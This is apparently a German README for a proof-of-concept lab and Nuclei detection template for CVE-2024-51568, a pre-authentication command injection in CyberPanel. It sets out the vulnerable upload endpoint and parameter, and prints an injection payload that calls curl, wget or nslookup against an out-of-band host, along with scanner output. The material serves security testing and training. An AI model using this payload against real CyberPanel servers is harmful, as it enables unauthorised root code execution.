
Proof-of-Concept-Umgebung und Nuclei-Template zum Testen von CVE-2024-51568, einer Command-Injection-Schwachstelle vor der Authentifizierung in CyberPanel, die Remote-Codeausführung mit Root-Rechten ermöglicht.
Eine Proof-of-Concept-Umgebung und Nuclei-Vorlage zum Testen von CVE-2024-51568, einer kritischen Pre-Authentication-Command-Injection-Schwachstelle in CyberPanel.
/filemanager/uploadcompletePathcd docker/
docker-compose up -d --build
curl -I http://localhost:8090
nuclei -t template/cve-2024-51568.yaml -u http://localhost:8090
Beispielausgabe:
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] nuclei-templates are not installed, installing...
[INF] Successfully installed nuclei-templates at /root/nuclei-templates
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.8 (latest)
[INF] New templates added in latest release: 114
[INF] Templates loaded for current scan: 1
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.online
[CVE-2024-51568] [http] [critical] http://localhost:8090/filemanager/upload
[INF] Scan completed in 5.706766772s. 1 matches found.
CyberPanel v2.3.4 enthält einen Command-Injection-Fehler in der Datei-Upload-Funktionalität:
POST /filemanager/uploadcompletePath in Multipart-FormulardatenProcessUtilities.outputExecutioner() ausgeführtcompletePath/dev/null; curl {{interactsh-url}} || wget {{interactsh-url}} || nslookup {{interactsh-url}}; #
Dieser Payload gewährleistet zuverlässige Erkennung über verschiedene Systemkonfigurationen hinweg.
Diese Umgebung enthält absichtlich eingebaute Schwachstellen für Sicherheitsforschung und Ausbildung:
Dieses Proof-of-Concept dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Die Nutzer sind dafür verantwortlich, geltende Gesetze einzuhalten und vor dem Testen eine ordnungsgemäße Autorisierung einzuholen.